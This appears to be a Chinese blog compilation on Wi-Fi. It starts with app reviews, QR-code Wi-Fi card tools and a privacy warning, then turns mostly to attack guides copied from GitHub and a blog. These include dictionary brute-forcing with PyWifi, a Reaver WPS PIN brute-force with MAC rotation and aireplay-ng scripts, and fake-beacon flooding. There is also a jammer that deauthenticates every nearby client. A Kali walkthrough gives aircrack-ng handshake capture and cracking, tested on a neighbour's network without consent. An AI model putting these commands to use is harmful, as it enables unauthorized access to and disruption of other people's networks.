Wifi万能钥匙国际版，无广告

现在的Wifi随处可见，几乎遍地都是。装个Wifi万能钥匙，随时随地查找并连接附近的WIfi，的确非常的方便，它对于大部分人来说还是相当有用的。

但是国内版的万能钥匙，广告超级多并且也有推广。其实它在谷歌应用商店中有推出一个国际版，名称叫Wifi大师。

首先Wifi大师在具体的功能和使用与国内版并无不同，它相当于一个Wifi密码共享库，密码由用户共享，可帮助你一键链接已知密码。不同的是，Wifi大师相当干净，无任何广告，这要比国内版清爽许多，国内版的主页竟然还嵌入了一个资讯新闻版块，发现界面则完全就是个资讯中心。广告巨多，真的是简直不能忍~

相比之下，Wifi大师的主页只显示扫描到Wifi列表，没有任何多余的东西，发现频道则只内置了安全检测、网络测速和信号检测三个小工具。

MD，国际版的就可以无广告无推广，国内版的为什么就一大堆广告，就是极速版也是一堆广告~

小工具一个,还挺实用，创建你的WIFI卡片，扫描二维码直接连WIFI

这个网站可以让你方便地创建一张A4大小的卡片，包含你的WiFi信息和可供手机扫描连接WiFi的二维码。你只需要输入WiFi信息，点击生成WIFI卡片就可以 打印或者下载PDF。

我要这个二维码干嘛？

问得好！这个二维码可以让你用手机或者平板自带的相机，一步到位连接WiFi，省去了寻找WiFi，输入密码等繁杂的手续。

仅此而已！

WiFi卡片:https://mywifisign.com/zh-hans

---------------

WiFi接入信息快速转化为二维码-wifi-card


wifi-card是一款实用的开源工具，能将 WiFi 名称和密码，快速转化为二维码。方便用户打印一张带有 WiFi 详细信息的登录卡片，可以把它贴到冰箱上、放到钱包里… wifi-card不使用追踪、分析或指纹识别，WiFi 信息永远不会发送到服务端。基于Javascript编写，遵守MIT开源协议。支持多语言（包括中文）。

Demo:https://wificard.io/

源代码：https://github.com/bndw/wifi-card
 

用PyWifi暴力破解WIFI密码

 wifi暴力破解，支持中文SSID.

利用 py_wifi 加上字典跑wifi密码

项目修改自github开源项目，修改后支持中英文ssid，成功率取决于字典和密码难度。

操作步骤

1. 安装 python3.7
2. 双击或者命令行运行 py_wifi.py
3. 搜索附近WIFI
4. 选择字典
5. 双击列表中某个SSID 选中WIFI账号
6. 开始破解

from https://github.com/forJrking/PyWifi

----

https://github.com/726981400/pywifi_wifipwd_txt

https://github.com/cxy20219/python-wifi

https://github.com/mandarin1111/pyWifiCrack

https://github.com/awkman/pywifi

 

 

REAVER-WPS

Brute force attack against Wifi Protected Setup.

REAVER WPS WITH MAC CHANGER

REAVER WPS modified version with MAC Address last character changer to speed up the attack.

Well, some times the AP will reject the "EAPOL Request" after a success pin try. I made some tests with simultaneous reaver instances running with different MACs (the -m argument), and when one instance gets "WARNING: Receive timeout occurred", the other gets "Received identity request" and continue the cracking.

The problem of this method is: The reaver tool doesn't support simultaneous instances (ok, I read the FAQ about it). If you run two reaver instances, by example, the two instances will try the same pin at the same time.

I made some changes on the reaver source code. Look the output after my changes:

[+] Using MAC BC:99:47:B7:03:E9
[+] Trying pin 00485678
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M1 message
[+] Received M1 message
[+] Received M1 message
[+] Received M3 message
[+] Sending M4 message
[+] Received M3 message
[+] Received M3 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Using MAC BC:99:47:B7:03:E8
[+] Trying pin 00495677
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M1 message
[+] Received M1 message
[+] Received M1 message
[+] Received M3 message
[+] Sending M4 message
[+] Received M3 message
[+] Received M3 message
[+] Received M3 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Using MAC BC:99:47:B7:03:E7 
[+] Trying pin 00505673
...

On the first try, reaver is using the client MAC "BC:99:47:B7:03:E9" (it is not a real MAC, I'm just using for the example), on the second, "BC:99:47:B7:03:E8", on the third, "BC:99:47:B7:03:E7". Well, after the use of the MAC "BC:99:47:B7:03:E0", reaver will start again on "BC:99:47:B7:03:E9".

The numbers:

With this method: (13 seconds/pin) Without this method: (31 seconds/pin)

How to install

Extract the tarball

    tar -xzvf reaver-1.4-mac-changer.tar.gz

Install Required Libraries and Tools

    sudo apt-get install libpcap-dev sqlite3 libsqlite3-dev libpcap0.8-dev

Build Reaver

    cd reaver-1.4-mac-changer
    cd src
    ./configure
    make

Install Reaver

    sudo make install

How to use

reaver -i mon0 -b AA:BB:CC:DD:EE:FF -M

or

reaver -i mon0 -b AA:BB:CC:DD:EE:FF --mac-changer

What I recommend:

reaver -i mon0 -b AA:BB:CC:DD:EE:FF --mac-changer --no-nacks --win7 --no-associate -vv

To associate more effectively, I recommend to use aireplay-ng tool. Create a "associate.sh" file, and put this inside:

aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:ZF  &
aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:ZE  &
aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:ZD  &
aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:ZC  &
aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:ZB  &
aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:ZA  &
aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:Z9  &
aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:Z8  &
aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:Z7  &
aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:Z6  &
aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:Z5  &
aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:Z4  &
aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:Z3  &
aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:Z2  &
aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:Z1  &
aireplay-ng mon0 -1 120 -a AA:BB:CC:DD:EE:FF --ignore-negative-one -h ZZ:ZZ:ZZ:ZZ:ZZ:Z0  &

PS: Change AA:BB:CC:DD:EE:FF to the BSSID and ZZ:ZZ:ZZ:ZZ:ZZ:Z to your MAC (without the last digit).

Before using reaver tool, just type "sh associate.sh". To kill all the aireplay-ng, type "killall aireplay-ng".

If you have success using this method, please, share with us to improve more and more the reaver WPS.

from https://github.com/gabrielrcouto/reaver-wps

wifijam

An 802.11n beacon frame transmission program.

Wifijam is a program that sends 802.11n beacon frames to announce fake Wi-Fi access points. These fake access points will have passwords and can not be really connected to.

This program comes with two versions: a Scapy version and an ESP8266 version.

The Scapy version requires a Linux computer with a Wi-Fi card supporting the "monitor" mode, as well as Python 3 and scapy-python3.

The ESP8266 version requires a development board with an ESP8266 Wi-Fi chip (usually less than $9), along with the Arduino IDE with ESP8266 plugins.

Usage

Before you start

Edit the source code, modify ssid_list for a list of SSIDs you wish to send.

Then modify SSID_DUPLICATES for the number of duplicates for each SSID.

SSID_DUPLICATES must be no more than 10. SSID_DUPLICATES × the length of ssid_list should be no more than 80.

Scapy version (using iw)

Type:

sudo ip link set dev wlan0 down
sudo iw dev wlan0 interface add wlan0mon type monitor
sudo ./wifijam.py wlan0mon

… where wlan0 is the device name of your Wi-Fi card. Change them according to your situation.

After you finished, type:

sudo iw dev wlan0mon del
sudo ip link set dev wlan0 up

Scapy version (using aircrack-ng)

Alternatively, if iw does not work for you, try airmon-ng:

sudo airmon-ng start wlan0
sudo ./wifijam.py wlan0mon

… where wlan0 is the device name of your Wi-Fi card, wlan0mon is the monitor name given by airmon-ng. Change them according to your situation.

After you finished, type:

sudo airmon-ng stop wlan0mon

ESP8266 version

Connect your development board to the Arduino IDE. Open wifijam.ino, then click Sketch → Upload.

You might need to press the "Flash" button if your development board has one.

Refer to the ESP8266 documentation if you have any problems.

Warning

The program's authors release this program in the hope that it will be useful, and can not control how the users are modifying it or using it. Therefore the program's authors will not be responsible for the users' behavior.

Please do not use this program to interfere with others' communication, or to spread harmful information or steal others' data, or to do anything prohibited by the law or the government.

from https://github.com/m13253/wifijam

你真的了解WiFi万能钥匙吗？它还隐藏了这个功能，知道后要小心了

 WiFi基本已经成为全民所需，无论走到哪家店墙上都贴有“有免费WiFi”的字样。虽然现大部分的商场或饭店都为客户提供免费WiFi，但也依然有人使用WiFi万能钥匙。而我们对于WiFi万能钥匙的理解大部分人还都停留在破解WiFi密码这个认识上，其实它还有一个隐藏的功能。

我们所认识到的WiFi万能钥匙的应用原理很简单。在用户使用它破解密码时，会通过搜索到的WiFi热点名称和云端数据库作比对，如果已经存有密码信息，则用户能直接登录WiFi，如果没有相关信息，也会通过预置的简单密码尝试暴力破解，从而为用户提供WiFi密码。

其实用户通过这样的方式获得的WiFi密码是很危险，因为由万能钥匙提供的WiFi的安全性我们无法去判断。若是正常的WiFi还好，若是黑客提供的WiFi那可就要中招了。他们会在提供的WiFi中加入窃听软件和恶意代码，用户使用该网络不仅手机的私密信息会被泄露，而且手机还有被恶意劫持的危险，这时手机里的账户就危险了。

除此之外，WiFi万能钥匙还隐藏了另一种功能，而且这个而很少有人知道。当你与别人共享了自家的WiFi用户名和密码，恰巧那个人的手机里有万能钥匙这类的蹭网应用，那么你的热点名称和密码就已经能够被他分享到了云端。那么使用同一款“蹭网”类应用的陌生人就也可以接入你家的网络。

所以，以后再透露自家WiFi密码时要小心了，提高安全使用WiFi的意识，网络安全这根弦无论到什么时候都不能轻易放松。

Kali 系统下, 破解WIFI密码

2017-10-16

使用kali破解wifi密码

提示：下面的所有命令都以root用户执行

一、关闭网络和结束可能会影响结果的进程

• 1、关闭网络

  1	service network-manager stop

• 2、结束可能会影响结果的进程

  1	airmon-ng check kill

二、开启无线网卡到监听模式

• 1、查看网卡列表

  1

  iwconfig

• 2、启动网卡到监听模式(这里使用wlan0)

  1	airmon-ng start wlan0

三、监听周围的无线网络连接并获取握手信息

##1、监听周围所有无线网络信息

• airodump-ng wlan0mon
• 在这条命令中wlanmon是上一步中我们得到的接口名

说明：图下半部分，列BSSID下要有非(not associated)行才行，

上图中最后一行就是:C0:XX:XX:XX:XX:00?14:XX:XX:XX:XX:B4?-87?0 - 1?3? 2
这时，记下C0:XX:XX:XX:XX:00
并在图的上半部分中找对应C0:XX:XX:XX:XX:00行
记下CH列下的值为1。然后关闭此窗口。

##2、监听感兴趣的无线网络

• 根据上一步的结果执行如下命令:

  1	airodump-ng --bssid C0:XX:XX:XX:XX -c 1 -w tmp wlan0mon

  在这条命令中–bssid后接我们上一部接下的BSSID值，即：C0:XX:XX:XX:XX:00。而-c后接的是我上一步在CH列下找到的值1。
  而-w后接的是我们保存网络数据的文件名，这里是用tmp。在命令的最后接的是之前得到的mon0
  运行命令后会得到上图的结果，并确保上图的下半部分BSSID下有至少一行的数据

(用我楼下寝室的WiFi做测试----(●ˇ∀ˇ●))   

##3、得到握手包

• 保持上一步中的窗口不关，新开一个窗口

执行如下命令:

1	aireplay-ng -0 2 -a C0:XX:XX:XX:XX:00 -c 14:XX:XX:XX:XX:B4 wlan0mon

• 在这条命令中参数-a后接的是上图中下半部分BSSID列下第一行的的值C0:XX:XX:XX:XX:00。参数-c后接的是上图中下半部分STATION列下第一行的的值14:XX:XX:XX:XX:B4。wlan0mon是之前步骤得到的值。执行后：观察我们步骤2中未关闭的窗口中是否出现了下图中红款中的内容。如果没有出现那就再等几分钟再次执行本步骤中的命令，直到出现。如果执行了超过30次或者时间超过30分钟依然没有出现，建议换一个感兴趣的网络。

四、停止监听

##1、关闭监听接口

1	airmon-ng stop wlan0mon

##2、启动网络

1	service network-manager start

五、获取密码

• 此时在执行第3.2步骤中命令的目录下会有一个tmp-01.cap文件。有了这个文件我们就可以破解密码了，除了这个文件外，我们还需要一个字典文件。可以从这里下载，下载后解压出密码文件,假设其名字及路径为:/tmp/passwd.txt。（将密码文件放在tmp目录下）执行下面的命令。如果密码字典中有这个wifi的密码，我们就可以破解出密码:

  1	aircrack-ng -w /tmp/123.txt tmp-03.cap

  
  
  
  
  
  
  

1 2	tmp-03.cap：得到的握手包 123.txt：密码包文件名

###经测试，密码正确，哈哈哈哈哈哈(●ˇ∀ˇ●)

• 提示：如何将密码字典放入指定文件夹中

from http://web.archive.org/web/20210811030537/https://www.weiyubo.top/2017/10/16/Kali%20%E7%B3%BB%E7%BB%9F%E4%B8%8B%E8%BF%9B%E8%A1%8CWIFI%20%E5%AF%86%E7%A0%81%E7%A0%B4%E8%A7%A3/

wifijammer

Continuously jam all wifi clients/routers.

Continuously jam all wifi clients and access points within range. The effectiveness of this script is constrained by your wireless card. Alfa cards seem to effectively jam within about a block radius with heavy access point saturation. Granularity is given in the options for more effective targeting.

Requires: python 2.7, python-scapy, a wireless card capable of injection

Usage

Simple

python wifijammer

This will find the most powerful wireless interface and turn on monitor mode. If a monitor mode interface is already up it will use the first one it finds instead. It will then start sequentially hopping channels 1 per second from channel 1 to 11 identifying all access points and clients connected to those access points. On the first pass through all the wireless channels it is only identifying targets. After that the 1sec per channel time limit is eliminated and channels are hopped as soon as the deauth packets finish sending. Note that it will still add clients and APs as it finds them after the first pass through.

Upon hopping to a new channel it will identify targets that are on that channel and send 1 deauth packet to the client from the AP, 1 deauth to the AP from the client, and 1 deauth to the AP destined for the broadcast address to deauth all clients connected to the AP. Many APs ignore deauths to broadcast addresses.

python wifijammer -a 00:0E:DA:DE:24:8E -c 2

Deauthenticate all devices with which 00:0E:DA:DE:24:8E communicates and skips channel hopping by setting the channel to the target AP's channel (2 in this case). This would mainly be an access point's MAC so all clients associated with that AP would be deauthenticated, but you can also put a client MAC here to target that one client and any other devices that communicate with it.

Advanced

python wifijammer -c 1 -p 5 -t .00001 -s DL:3D:8D:JJ:39:52 -d --world

• -c, Set the monitor mode interface to only listen and deauth clients or APs on channel 1

• -p, Send 5 packets to the client from the AP and 5 packets to the AP from the client along with 5 packets to the broadcast address of the AP

• -t, Set a time interval of .00001 seconds between sending each deauth (try this if you get a scapy error like 'no buffer space')

• -s, Do not deauth the MAC DL:3D:8D:JJ:39:52. Ignoring a certain MAC address is handy in case you want to tempt people to join your access point in cases of wanting to use LANs.py or a Pineapple on them.

• -d, Do not send deauths to access points' broadcast address; this will speed up the deauths to the clients that are found

• --world, Set the max channel to 13. In N. America the max channel standard is 11, but the rest of the world uses 13 channels so use this option if you're not in N. America

Walking/driving around

python wifijammer -m 10

The -m option sets a max number of client/AP combos that the script will attempt to deauth. When the max number is reached, it clears and repopulates its list based on what traffic it sniffs in the area. This allows you to constantly update the deauth list with client/AP combos who have the strongest signal in case you were not stationary. If you want to set a max and not have the deauth list clear itself when the max is hit, just add the -n option like: -m 10 -n

All options:

python wifijammer [-a AP MAC] [-c CHANNEL] [-d] [-i INTERFACE] [-m MAXIMUM] [-n] [-p PACKETS] [-s SKIP] [-t TIME INTERVAL]

from https://github.com/DanMcInerney/wifijammer